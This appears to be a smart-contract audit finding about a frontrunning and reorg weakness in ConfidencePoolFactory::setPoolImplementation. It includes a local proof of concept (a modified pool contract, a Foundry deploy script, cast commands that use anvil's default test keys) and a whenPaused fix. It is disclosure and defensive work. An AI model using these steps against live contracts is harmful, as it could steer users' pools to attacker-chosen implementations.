Description
ConfidencePoolFactory::setPoolImplementation method is called to set the pool implementation to be used when creating pools via ConfidencePool::createPool function
However, ConfidencePoolFactory::setPoolImplementation can be called when contract is in unpaused state:
https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePoolFactory.sol#L137
@> function setPoolImplementation(address newPoolImplementation) external onlyOwner {
if (newPoolImplementation == address(0)) revert ZeroAddress();
address old = poolImplementation;
poolImplementation = newPoolImplementation;
emit PoolImplementationUpdated(old, newPoolImplementation);
}
This could lead to frontrunning/reorg vulnerabilities, leading to pool been created with unintended pool implementations when a call to ConfidencePoolFactory::setPoolImplementation is performed after an unconfirmed pool creation call (ConfidencePoolFactory::createPool).
But ConfidencePoolFactory::setPoolImplementation is executed before createPool due to reorg or because setPoolImplementation call used higher gas price
Risk
Likelihood:
Low,
ConfidencePoolFactory owner should call ConfidencePoolFactory::setPoolImplementation with higher gas while a user ConfidencePoolFactory::createPool is pending, or a reorg occurs
Impact:
High
Due to this vulnerability pool is created with unintended implementation
Proof of Concept
Scenario
The following proof of concept shows the following scenario:
User calls ConfidencePoolFactory::createPool with current ConfidencePoolFactory pool implementation
Owner calls ConfidencePoolFactory::setPoolImplementation, with a new implementation that sets recovery address to address(1) (for proof of concept purposes) with higher gas price that user tx
The user created pool is created with the new implementation and it has address(1) as recoveryAddress
Proof of concept
To show the described above:
Create src/ConfidencePool2.sol with the same code as src/ConfidencePool.sol but with initialize modification, that always sets address(1) as recovery address (this is for proof of concept purposes)
contract ConfidencePool2 is Initializable, Ownable2Step, ReentrancyGuard, Pausable, IConfidencePool {
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
recoveryAddress = address(1);
Modify script/Deploy.s.sol
pragma solidity 0.8.26;
import {Script} from "forge-std/Script.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {MockConfidencePoolModerator} from "src/mocks/MockConfidencePoolModerator.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {console} from "forge-std/console.sol";
contract Deploy is Script {
function run() external returns (address implementation, address factoryProxy, address moderator, address agreement) {
vm.startBroadcast();
address SCOPE_ACCOUNT = address(0xC0FFEE);
address agreementOwner = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
address agreement;
MockERC20 token = new MockERC20();
MockSafeHarborRegistry registry = new MockSafeHarborRegistry();
ConfidencePool poolImplementation = new ConfidencePool();
MockAgreement agreementct = new MockAgreement(agreementOwner);
agreementct.setContractInScope(SCOPE_ACCOUNT, true);
agreement = address(agreementct);
registry.setAgreementValid(agreement, true);
moderator = address(new MockConfidencePoolModerator());
implementation = address(new ConfidencePool());
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
bytes memory initData =
abi.encodeCall(ConfidencePoolFactory.initialize, (address(registry), implementation, moderator));
factoryProxy = address(new ERC1967Proxy(address(factoryImpl), initData));
ConfidencePoolFactory(factoryProxy).setStakeTokenAllowed(address(token), true);
vm.stopBroadcast();
}
}
Call deploy
In one terminal start anvil node with a block time of 20 seconds:
In another terminal run deploy script
forge script script/Deploy.s.sol --rpc-url http://127.0.0.1:8545 --broadcast --private-key '0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' 2>&1
The owner of factory will be eth node first default account: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
Get deployed contract addresses and export them as enviroment vars
cd to project root first
reset;cat broadcast/Deploy.s.sol/31337/run-latest.json | grep '"transactionType": "CREATE"' -A 2 | grep contractName -A 1 | cut -d':' -f 2 | tr -d ' ' | tr -d '"' | tr -d ',' | tr -s '-' | sed 's|0x|@!|g' | tr -d '\n' | tr '@' '=' | tr '-' '\n' | sed 's|!|0x|g' | sed 's|^|export |g' ; echo
Call createPool
In one terminal (with already exported contract addresses with step above)
As another user (the agreement owner, non factory owner) Call create pool with a gas price N:
export POOL=`cast send --rpc-url 'http://127.0.0.1:8545' --from 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 $ERC1967Proxy 'createPool(address,address,uint256,uint256,address,address[])' $MockAgreement $MockERC20 2147483647 1 '0x70997970C51812dc3A010C7d01b50e0d17dc79C8' '[0x0000000000000000000000000000000000C0FFEE]' --private-key '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d' --gas-price 70000000000 | grep logs | head -n1 | cut -d ',' -f1 | cut -d ':' -f 2 | tr -d '"'`
Call setPoolImplementation(PoolImplementation2, pImpl2 sets addr(1) hardcoded) with higher gas with account0 (factory owner)
In another terminal (with already exported contract addresses with step above)
As factory owner, call setPoolImplementation with Pool Implementation 2 (the one that always sets address(1) as recoveryAddress) with gas price M, M>N:
cast send --rpc-url 'http://127.0.0.1:8545' --from 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 $ERC1967Proxy 'setPoolImplementation(address)' $ConfidencePool2 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --gas-price 90000000000
Pool was created with unintended implementation and recovery address is address(1)
After previous transactions complete, call recoveryAddress() in newly created pool, and observe is address(1), this shows pool was created with unintended implementation due to frontrunning vulnerability and because ConfidencePoolFactory::setPoolImplementation can be called when factory is in unpaused state:
cast call --private-key '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d' --rpc-url 'http://127.0.0.1:8545' --from 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 $POOL 'recoveryAddress()'
Observe response is address(1)
Recommended Mitigation
Add a modifier to ConfidencePoolFactory::setPoolImplementation to only allow to change poolImplementation when factory is paused
@> function setPoolImplementation(address newPoolImplementation) external onlyOwner whenPaused {
if (newPoolImplementation == address(0)) revert ZeroAddress();
address old = poolImplementation;
poolImplementation = newPoolImplementation;
emit PoolImplementationUpdated(old, newPoolImplementation);
}